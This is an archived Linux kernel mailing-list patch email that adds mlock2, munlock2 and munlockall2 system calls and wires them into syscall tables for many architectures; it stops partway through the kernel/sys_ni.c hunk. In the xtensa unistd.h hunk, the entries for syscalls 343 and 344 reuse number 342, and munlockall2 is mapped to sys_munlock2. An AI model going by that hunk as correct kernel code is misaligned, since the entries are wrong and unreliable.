	id 220B46B0255; Tue,  7 Jul 2015 13:03:58 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 1F9CB6B0257; Tue,  7 Jul 2015 13:03:58 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 04A6D6B0258; Tue,  7 Jul 2015 13:03:58 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f46.google.com (mail-qg0-f46.google.com [209.85.192.46])
	by kanga.kvack.org (Postfix) with ESMTP id C8AB36B0255
	for <linux-mm@kvack.org>; Tue,  7 Jul 2015 13:03:57 -0400 (EDT)
Original-Received: by qgeg89 with SMTP id g89so87286562qge.3
        for <linux-mm@kvack.org>; Tue, 07 Jul 2015 10:03:57 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=x/iWKNFu0CEOmrCD9l0kzwnUhS2QtKjM4xkzJ4+wP2g=;
        b=VfZdOhrYCmYwlYPALF4A1+QNHpiVItA/I9nThqwBtHwnEsa+Mr+C0mqSS1ea9OojBJ
         coSeIewRFY1ESo/CktfQIQynE9IGNRiqbwXudg0KmQscq3rUW45BVdLZVGcKmQgrvlu5
         BF4Zos9I3kVlDdtZDMEH2UumnKvGDexniz1VsC1234ZruriC/a3JUZ88plQYGH0WmwJ5
         +q6Uo57OQ+VA4f64IEhzPBxVYt6Jx4DgU96EWtV1nGvXNKl6Y8Kub6ejbz7s+qeW2qDS
         zr4goL3BYxmfOaaL3BObE2VMKMMSoulgjRZ1422EF67+u5FZOkELt3HVpLfYZcCnde7D
         yp7A==
X-Gm-Message-State: ALoCoQnDNntpupGFf/JozZ9mwasmEBpfDmawDV4fdpIPVR4vjzX07hvx9QFBj3Gfv2TmWF/i/aOHRwJVqLP2qrLvhUoL7meUBlXRurnjg8o6klKckrhzrPStwk/S0/BlQt7/ZZAHReNcvgcNhDrvgVuCQiTw+cxFc5h2jU43RNxsAcBwxJIPuYM96Yoh2xk/zZIkGIJGiflh
X-Received: by 10.140.134.69 with SMTP id 66mr9067156qhg.51.1436288637607;
        Tue, 07 Jul 2015 10:03:57 -0700 (PDT)
X-Received: by 10.140.134.69 with SMTP id 66mr9066383qhg.51.1436288632532;
        Tue, 07 Jul 2015 10:03:52 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id m76si25625732qkh.92.2015.07.07.10.03.51
        for <linux-mm@kvack.org>;
        Tue, 07 Jul 2015 10:03:52 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 6386F28E1D;
	Tue,  7 Jul 2015 17:03:51 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 43D9828E11;
	Tue,  7 Jul 2015 17:03:51 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1436288631; bh=tX6ujLlGBpcBn7L9rVmN82iiLnpRtzwCz1U6w7e0mhg=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=sVDj8n7hx4j9nLoOh+uUfdIXOivcZ+KCNv9Z/1+snWymxw5B6POpgq8xDbS6Jmy+2
	 2vXROTKyLuQTBbbxEb593bBSS1I7/9buC/Hbyf9NGSa+VrFmnDLcHZgk9sFyM7mpT+
	 HtJGbG/N4brTVNlsM/NlQmZbGad4Oz4PA4KHP2iU=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.13.149])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 3D20B80087;
	Tue,  7 Jul 2015 17:03:51 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1436288623-13007-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:135236 gmane.linux.ports.alpha:3174 gmane.linux.kernel:1990569 gmane.linux.ports.arm.kernel:424481 gmane.linux.ports.ia64:25567 gmane.linux.ports.mips.general:49251 gmane.linux.ports.parisc:25807 gmane.linux.ports.ppc64.devel:114891 gmane.linux.ports.sh.devel:47047 gmane.linux.ports.sparc:21208 gmane.linux.kernel.api:12588 gmane.linux.kernel.cross-arch:28216
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/135236>

With the refactored mlock code, introduce new system calls for mlock,
munlock, and munlockall.  The new calls will allow the user to specify
what lock states are being added or cleared.  mlock2 and munlock2 are
trivial at the moment, but a follow on patch will add a new mlock state
making them useful.

munlock2 addresses a limitation of the current implementation.  If a
user calls mlockall(MCL_CURRENT | MCL_FUTURE) and then later decides
that MCL_FUTURE should be removed, they would have to call munlockall()
followed by mlockall(MCL_CURRENT) which could potentially be very
expensive.  The new munlockall2 system call allows a user to simply
clear the MCL_FUTURE flag.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-mips@linux-mips.org
Cc: linux-am33-list@redhat.com
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/alpha/include/asm/unistd.h        |  2 +-
 arch/alpha/include/uapi/asm/mman.h     |  2 ++
 arch/alpha/kernel/systbls.S            |  3 +++
 arch/arm/kernel/calls.S                |  3 +++
 arch/arm64/include/asm/unistd32.h      |  6 ++++++
 arch/avr32/kernel/syscall_table.S      |  3 +++
 arch/blackfin/mach-common/entry.S      |  3 +++
 arch/cris/arch-v10/kernel/entry.S      |  3 +++
 arch/cris/arch-v32/kernel/entry.S      |  3 +++
 arch/frv/kernel/entry.S                |  3 +++
 arch/ia64/kernel/entry.S               |  3 +++
 arch/m32r/kernel/entry.S               |  3 +++
 arch/m32r/kernel/syscall_table.S       |  3 +++
 arch/m68k/kernel/syscalltable.S        |  3 +++
 arch/microblaze/kernel/syscall_table.S |  3 +++
 arch/mips/include/uapi/asm/mman.h      |  5 +++++
 arch/mips/kernel/scall32-o32.S         |  3 +++
 arch/mips/kernel/scall64-64.S          |  3 +++
 arch/mips/kernel/scall64-n32.S         |  3 +++
 arch/mips/kernel/scall64-o32.S         |  3 +++
 arch/mn10300/kernel/entry.S            |  3 +++
 arch/parisc/include/uapi/asm/mman.h    |  2 ++
 arch/powerpc/include/uapi/asm/mman.h   |  2 ++
 arch/s390/kernel/syscalls.S            |  3 +++
 arch/sh/kernel/syscalls_32.S           |  3 +++
 arch/sparc/include/uapi/asm/mman.h     |  2 ++
 arch/sparc/kernel/systbls_32.S         |  2 +-
 arch/sparc/kernel/systbls_64.S         |  4 ++--
 arch/tile/include/uapi/asm/mman.h      |  5 +++++
 arch/x86/entry/syscalls/syscall_32.tbl |  3 +++
 arch/x86/entry/syscalls/syscall_64.tbl |  3 +++
 arch/xtensa/include/uapi/asm/mman.h    |  5 +++++
 arch/xtensa/include/uapi/asm/unistd.h  | 10 ++++++++--
 include/linux/syscalls.h               |  4 ++++
 include/uapi/asm-generic/mman.h        |  2 ++
 include/uapi/asm-generic/unistd.h      |  8 +++++++-
 kernel/sys_ni.c                        |  3 +++
 mm/mlock.c                             | 28 ++++++++++++++++++++++++++++
 38 files changed, 148 insertions(+), 7 deletions(-)

diff --git a/arch/alpha/include/asm/unistd.h b/arch/alpha/include/asm/unistd.h
index a56e608..1d09392 100644
--- a/arch/alpha/include/asm/unistd.h
+++ b/arch/alpha/include/asm/unistd.h
@@ -3,7 +3,7 @@
 
 #include <uapi/asm/unistd.h>
 
-#define NR_SYSCALLS			514
+#define NR_SYSCALLS			517
 
 #define __ARCH_WANT_OLD_READDIR
 #define __ARCH_WANT_STAT64
diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..ec72436 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -38,6 +38,8 @@
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
 #define MADV_SEQUENTIAL	2		/* expect sequential page references */
diff --git a/arch/alpha/kernel/systbls.S b/arch/alpha/kernel/systbls.S
index 9b62e3f..04d1cce 100644
--- a/arch/alpha/kernel/systbls.S
+++ b/arch/alpha/kernel/systbls.S
@@ -532,6 +532,9 @@ sys_call_table:
 	.quad sys_getrandom
 	.quad sys_memfd_create
 	.quad sys_execveat
+	.quad sys_mlock2
+	.quad sys_munlock2			/* 515 */
+	.quad sys_munlockall2
 
 	.size sys_call_table, . - sys_call_table
 	.type sys_call_table, @object
diff --git a/arch/arm/kernel/calls.S b/arch/arm/kernel/calls.S
index 05745eb..514e77b 100644
--- a/arch/arm/kernel/calls.S
+++ b/arch/arm/kernel/calls.S
@@ -397,6 +397,9 @@
 /* 385 */	CALL(sys_memfd_create)
 		CALL(sys_bpf)
 		CALL(sys_execveat)
+		CALL(sys_mlock2)
+		CALL(sys_munlock2)
+/* 400 */	CALL(sys_munlockall2)
 #ifndef syscalls_counted
 .equ syscalls_padding, ((NR_syscalls + 3) & ~3) - NR_syscalls
 #define syscalls_counted
diff --git a/arch/arm64/include/asm/unistd32.h b/arch/arm64/include/asm/unistd32.h
index cef934a..318072aa 100644
--- a/arch/arm64/include/asm/unistd32.h
+++ b/arch/arm64/include/asm/unistd32.h
@@ -797,3 +797,9 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
 __SYSCALL(__NR_bpf, sys_bpf)
 #define __NR_execveat 387
 __SYSCALL(__NR_execveat, compat_sys_execveat)
+#define __NR_mlock2 388
+__SYSCALL(__NR_mlock2, sys_mlock2)
+#define __NR_munlock2 389
+__SYSCALL(__NR_munlock2, sys_munlock2)
+#define __NR_munlockall2 390
+__SYSCALL(__NR_munlockall2, sys_munlockall2)
diff --git a/arch/avr32/kernel/syscall_table.S b/arch/avr32/kernel/syscall_table.S
index c3b593b..83928ab 100644
--- a/arch/avr32/kernel/syscall_table.S
+++ b/arch/avr32/kernel/syscall_table.S
@@ -334,4 +334,7 @@ sys_call_table:
 	.long	sys_memfd_create
 	.long	sys_bpf
 	.long	sys_execveat		/* 320 */
+	.long   sys_mlock2
+	.long   sys_munlock2
+	.long   sys_munlockall2
 	.long	sys_ni_syscall		/* r8 is saturated at nr_syscalls */
diff --git a/arch/blackfin/mach-common/entry.S b/arch/blackfin/mach-common/entry.S
index 8d9431e..5d83587 100644
--- a/arch/blackfin/mach-common/entry.S
+++ b/arch/blackfin/mach-common/entry.S
@@ -1704,6 +1704,9 @@ ENTRY(_sys_call_table)
 	.long _sys_memfd_create		/* 390 */
 	.long _sys_bpf
 	.long _sys_execveat
+	.long _sys_mlock2
+	.long _sys_munlock2
+	.long _sys_munlockall2		/* 395 */
 
 	.rept NR_syscalls-(.-_sys_call_table)/4
 	.long _sys_ni_syscall
diff --git a/arch/cris/arch-v10/kernel/entry.S b/arch/cris/arch-v10/kernel/entry.S
index 81570fc..d0ce531 100644
--- a/arch/cris/arch-v10/kernel/entry.S
+++ b/arch/cris/arch-v10/kernel/entry.S
@@ -955,6 +955,9 @@ sys_call_table:
 	.long sys_process_vm_writev
 	.long sys_kcmp			/* 350 */
 	.long sys_finit_module
+	.long sys_mlock2
+	.long sys_munlock2
+	.long sys_munlockall2
 
         /*
          * NOTE!! This doesn't have to be exact - we just have
diff --git a/arch/cris/arch-v32/kernel/entry.S b/arch/cris/arch-v32/kernel/entry.S
index 026a0b2..7f50a0b 100644
--- a/arch/cris/arch-v32/kernel/entry.S
+++ b/arch/cris/arch-v32/kernel/entry.S
@@ -875,6 +875,9 @@ sys_call_table:
 	.long sys_process_vm_writev
 	.long sys_kcmp			/* 350 */
 	.long sys_finit_module
+	.long sys_mlock2
+	.long sys_munlock2
+	.long sys_munlockall2
 
 	/*
 	 * NOTE!! This doesn't have to be exact - we just have
diff --git a/arch/frv/kernel/entry.S b/arch/frv/kernel/entry.S
index dfcd263..ee605a0 100644
--- a/arch/frv/kernel/entry.S
+++ b/arch/frv/kernel/entry.S
@@ -1515,5 +1515,8 @@ sys_call_table:
 	.long sys_rt_tgsigqueueinfo	/* 335 */
 	.long sys_perf_event_open
 	.long sys_setns
+	.long sys_mlock2
+	.long sys_munlock2
+	.long sys_munlockall2		/* 340 */
 
 syscall_table_size = (. - sys_call_table)
diff --git a/arch/ia64/kernel/entry.S b/arch/ia64/kernel/entry.S
index ae0de7b..3ef4457 100644
--- a/arch/ia64/kernel/entry.S
+++ b/arch/ia64/kernel/entry.S
@@ -1768,5 +1768,8 @@ sys_call_table:
 	data8 sys_memfd_create			// 1340
 	data8 sys_bpf
 	data8 sys_execveat
+	data8 sys_mlock2
+	data8 sys_munlock2
+	data8 sys_munlockall2			// 1345
 
 	.org sys_call_table + 8*NR_syscalls	// guard against failures to increase NR_syscalls
diff --git a/arch/m32r/kernel/entry.S b/arch/m32r/kernel/entry.S
index c639bfa..4f7f2e2 100644
--- a/arch/m32r/kernel/entry.S
+++ b/arch/m32r/kernel/entry.S
@@ -76,6 +76,9 @@
 #define sys_munlock		sys_ni_syscall
 #define sys_mlockall		sys_ni_syscall
 #define sys_munlockall		sys_ni_syscall
+#define sys_mlock2		sys_ni_syscall
+#define sys_munlock2		sys_ni_syscall
+#define sys_munlockall2		sys_ni_syscall
 #define sys_mremap		sys_ni_syscall
 #define sys_mincore		sys_ni_syscall
 #define sys_remap_file_pages	sys_ni_syscall
diff --git a/arch/m32r/kernel/syscall_table.S b/arch/m32r/kernel/syscall_table.S
index f365c19..9918c3e 100644
--- a/arch/m32r/kernel/syscall_table.S
+++ b/arch/m32r/kernel/syscall_table.S
@@ -325,3 +325,6 @@ ENTRY(sys_call_table)
 	.long sys_eventfd
 	.long sys_fallocate
 	.long sys_setns			/* 325 */
+	.long sys_mlock2
+	.long sys_munlock2
+	.long sys_munlockall2
diff --git a/arch/m68k/kernel/syscalltable.S b/arch/m68k/kernel/syscalltable.S
index a0ec430..7963c03 100644
--- a/arch/m68k/kernel/syscalltable.S
+++ b/arch/m68k/kernel/syscalltable.S
@@ -376,4 +376,7 @@ ENTRY(sys_call_table)
 	.long sys_memfd_create
 	.long sys_bpf
 	.long sys_execveat		/* 355 */
+	.long sys_mlock2
+	.long sys_munlock2
+	.long sys_munlockall2
 
diff --git a/arch/microblaze/kernel/syscall_table.S b/arch/microblaze/kernel/syscall_table.S
index 29c8568..6e4b0fe 100644
--- a/arch/microblaze/kernel/syscall_table.S
+++ b/arch/microblaze/kernel/syscall_table.S
@@ -389,3 +389,6 @@ ENTRY(sys_call_table)
 	.long sys_memfd_create
 	.long sys_bpf
 	.long sys_execveat
+	.long sys_mlock2
+	.long sys_munlock2		/* 390 */
+	.long sys_munlockall2
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..67c1cdf 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -62,6 +62,11 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
 #define MADV_SEQUENTIAL 2		/* expect sequential page references */
diff --git a/arch/mips/kernel/scall32-o32.S b/arch/mips/kernel/scall32-o32.S
index 6e8de80..7af6066 100644
--- a/arch/mips/kernel/scall32-o32.S
+++ b/arch/mips/kernel/scall32-o32.S
@@ -582,3 +582,6 @@ EXPORT(sys_call_table)
 	PTR	sys_memfd_create
 	PTR	sys_bpf				/* 4355 */
 	PTR	sys_execveat
+	PTR	sys_mlock2
+	PTR	sys_munlock2
+	PTR	sys_munlockall2
diff --git a/arch/mips/kernel/scall64-64.S b/arch/mips/kernel/scall64-64.S
index ad4d4463..0aa2742 100644
--- a/arch/mips/kernel/scall64-64.S
+++ b/arch/mips/kernel/scall64-64.S
@@ -436,4 +436,7 @@ EXPORT(sys_call_table)
 	PTR	sys_memfd_create
 	PTR	sys_bpf				/* 5315 */
 	PTR	sys_execveat
+	PTR	sys_mlock2
+	PTR	sys_munlock2
+	PTR	sys_munlockall2
 	.size	sys_call_table,.-sys_call_table
diff --git a/arch/mips/kernel/scall64-n32.S b/arch/mips/kernel/scall64-n32.S
index 446cc65..eb21955 100644
--- a/arch/mips/kernel/scall64-n32.S
+++ b/arch/mips/kernel/scall64-n32.S
@@ -429,4 +429,7 @@ EXPORT(sysn32_call_table)
 	PTR	sys_memfd_create
 	PTR	sys_bpf
 	PTR	compat_sys_execveat		/* 6320 */
+	PTR	sys_mlock2
+	PTR	sys_munlock2
+	PTR	sys_munlockall2
 	.size	sysn32_call_table,.-sysn32_call_table
diff --git a/arch/mips/kernel/scall64-o32.S b/arch/mips/kernel/scall64-o32.S
index d07b210..ee59c82 100644
--- a/arch/mips/kernel/scall64-o32.S
+++ b/arch/mips/kernel/scall64-o32.S
@@ -567,4 +567,7 @@ EXPORT(sys32_call_table)
 	PTR	sys_memfd_create
 	PTR	sys_bpf				/* 4355 */
 	PTR	compat_sys_execveat
+	PTR	sys_mlock2
+	PTR	sys_munlock2
+	PTR	sys_munlockall2
 	.size	sys32_call_table,.-sys32_call_table
diff --git a/arch/mn10300/kernel/entry.S b/arch/mn10300/kernel/entry.S
index 177d61d..d34adf5 100644
--- a/arch/mn10300/kernel/entry.S
+++ b/arch/mn10300/kernel/entry.S
@@ -767,6 +767,9 @@ ENTRY(sys_call_table)
 	.long sys_perf_event_open
 	.long sys_recvmmsg
 	.long sys_setns
+	.long sys_mlock2		/* 340 */
+	.long sys_munlock2
+	.long sys_munlockall2
 
 
 nr_syscalls=(.-sys_call_table)/4
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..daab994 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -32,6 +32,8 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
 #define MADV_SEQUENTIAL 2               /* expect sequential page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..189e85f 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -23,6 +23,8 @@
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
diff --git a/arch/s390/kernel/syscalls.S b/arch/s390/kernel/syscalls.S
index 1acad02..f6d81d6 100644
--- a/arch/s390/kernel/syscalls.S
+++ b/arch/s390/kernel/syscalls.S
@@ -363,3 +363,6 @@ SYSCALL(sys_bpf,compat_sys_bpf)
 SYSCALL(sys_s390_pci_mmio_write,compat_sys_s390_pci_mmio_write)
 SYSCALL(sys_s390_pci_mmio_read,compat_sys_s390_pci_mmio_read)
 SYSCALL(sys_execveat,compat_sys_execveat)
+SYSCALL(sys_mlock2,compat_sys_mlock2)			/* 355 */
+SYSCALL(sys_munlock2,compat_sys_munlock2)
+SYSCALL(sys_munlockall2,compat_sys_munlockall2)
diff --git a/arch/sh/kernel/syscalls_32.S b/arch/sh/kernel/syscalls_32.S
index 734234b..6d07867 100644
--- a/arch/sh/kernel/syscalls_32.S
+++ b/arch/sh/kernel/syscalls_32.S
@@ -386,3 +386,6 @@ ENTRY(sys_call_table)
 	.long sys_process_vm_writev
 	.long sys_kcmp
 	.long sys_finit_module
+	.long sys_mlock2
+	.long sys_munlock2		/* 370 */
+	.long sys_munlockall2
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..13d51be 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -18,6 +18,8 @@
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
diff --git a/arch/sparc/kernel/systbls_32.S b/arch/sparc/kernel/systbls_32.S
index e31a905..72b68d4 100644
--- a/arch/sparc/kernel/systbls_32.S
+++ b/arch/sparc/kernel/systbls_32.S
@@ -87,4 +87,4 @@ sys_call_table:
 /*335*/	.long sys_syncfs, sys_sendmmsg, sys_setns, sys_process_vm_readv, sys_process_vm_writev
 /*340*/	.long sys_ni_syscall, sys_kcmp, sys_finit_module, sys_sched_setattr, sys_sched_getattr
 /*345*/	.long sys_renameat2, sys_seccomp, sys_getrandom, sys_memfd_create, sys_bpf
-/*350*/	.long sys_execveat
+/*350*/	.long sys_execveat, sys_mlock2, sys_munlock2, sys_munlockall2
diff --git a/arch/sparc/kernel/systbls_64.S b/arch/sparc/kernel/systbls_64.S
index d72f76a..a96bfea 100644
--- a/arch/sparc/kernel/systbls_64.S
+++ b/arch/sparc/kernel/systbls_64.S
@@ -88,7 +88,7 @@ sys_call_table32:
 	.word sys_syncfs, compat_sys_sendmmsg, sys_setns, compat_sys_process_vm_readv, compat_sys_process_vm_writev
 /*340*/	.word sys_kern_features, sys_kcmp, sys_finit_module, sys_sched_setattr, sys_sched_getattr
 	.word sys32_renameat2, sys_seccomp, sys_getrandom, sys_memfd_create, sys_bpf
-/*350*/	.word sys32_execveat
+/*350*/	.word sys32_execveat, sys_mlock2, sys_munlock2, sys_munlockall2
 
 #endif /* CONFIG_COMPAT */
 
@@ -168,4 +168,4 @@ sys_call_table:
 	.word sys_syncfs, sys_sendmmsg, sys_setns, sys_process_vm_readv, sys_process_vm_writev
 /*340*/	.word sys_kern_features, sys_kcmp, sys_finit_module, sys_sched_setattr, sys_sched_getattr
 	.word sys_renameat2, sys_seccomp, sys_getrandom, sys_memfd_create, sys_bpf
-/*350*/	.word sys64_execveat
+/*350*/	.word sys64_execveat, sys_mlock2, sys_munlock2, sys_munlockall2
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..f69ce48 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -37,5 +37,10 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/x86/entry/syscalls/syscall_32.tbl b/arch/x86/entry/syscalls/syscall_32.tbl
index ef8187f..13ce950 100644
--- a/arch/x86/entry/syscalls/syscall_32.tbl
+++ b/arch/x86/entry/syscalls/syscall_32.tbl
@@ -365,3 +365,6 @@
 356	i386	memfd_create		sys_memfd_create
 357	i386	bpf			sys_bpf
 358	i386	execveat		sys_execveat			stub32_execveat
+359	i386	mlock2			sys_mlock2
+360	i386	munlock2		sys_munlock2
+361	i386	munlockall2		sys_munlockall2
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index 9ef32d5..13b3cb1 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -329,6 +329,9 @@
 320	common	kexec_file_load		sys_kexec_file_load
 321	common	bpf			sys_bpf
 322	64	execveat		stub_execveat
+323	common	mlock2			sys_mlock2
+324	common	munlock2		sys_munlock2
+325	common	munlockall2		sys_munlockall2
 
 #
 # x32-specific system call numbers start at 512 to avoid cache impact
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..11f354f 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -75,6 +75,11 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
 #define MADV_SEQUENTIAL	2		/* expect sequential page references */
diff --git a/arch/xtensa/include/uapi/asm/unistd.h b/arch/xtensa/include/uapi/asm/unistd.h
index b95c305..961913c 100644
--- a/arch/xtensa/include/uapi/asm/unistd.h
+++ b/arch/xtensa/include/uapi/asm/unistd.h
@@ -753,8 +753,14 @@ __SYSCALL(339, sys_memfd_create, 2)
 __SYSCALL(340, sys_bpf, 3)
 #define __NR_execveat				341
 __SYSCALL(341, sys_execveat, 5)
-
-#define __NR_syscall_count			342
+#define __NR_mlock2				342
+__SYSCALL(342, sys_mlock2, 3)
+#define __NR_munlock2				343
+__SYSCALL(342, sys_munlock2, 3)
+#define __NR_munlockall2			344
+__SYSCALL(342, sys_munlock2, 1)
+
+#define __NR_syscall_count			345
 
 /*
  * sysxtensa syscall handler
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index b45c45b..aecab5d 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -884,4 +884,8 @@ asmlinkage long sys_execveat(int dfd, const char __user *filename,
 			const char __user *const __user *argv,
 			const char __user *const __user *envp, int flags);
 
+asmlinkage long sys_mlock2(unsigned long start, size_t len, int flags);
+asmlinkage long sys_munlock2(unsigned long start, size_t len, int flags);
+asmlinkage long sys_munlockall2(int flags);
+
 #endif
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..242436b 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -18,4 +18,6 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index e016bd9..e759fa2 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -709,9 +709,15 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
 __SYSCALL(__NR_bpf, sys_bpf)
 #define __NR_execveat 281
 __SC_COMP(__NR_execveat, sys_execveat, compat_sys_execveat)
+#define __NR_mlock2 282
+__SYSCALL(__NR_mlock2, sys_mlock2)
+#define __NR_munlock2 283
+__SYSCALL(__NR_munlock2, sys_munlock2)
+#define __NR_munlockall2 284
+__SYSCALL(__NR_munlockall2, sys_munlockall2)
 
 #undef __NR_syscalls
-#define __NR_syscalls 282
+#define __NR_syscalls 285
 
 /*
  * All syscalls below here should go away really,
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index 7995ef5..63529b7 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -193,6 +193,9 @@ cond_syscall(sys_mlock);
 cond_syscall(sys_munlock);
 cond_syscall(sys_mlockall);
 cond_syscall(sys_munlockall);
+cond_syscall(sys_mlock2);
+cond_syscall(sys_munlock2);
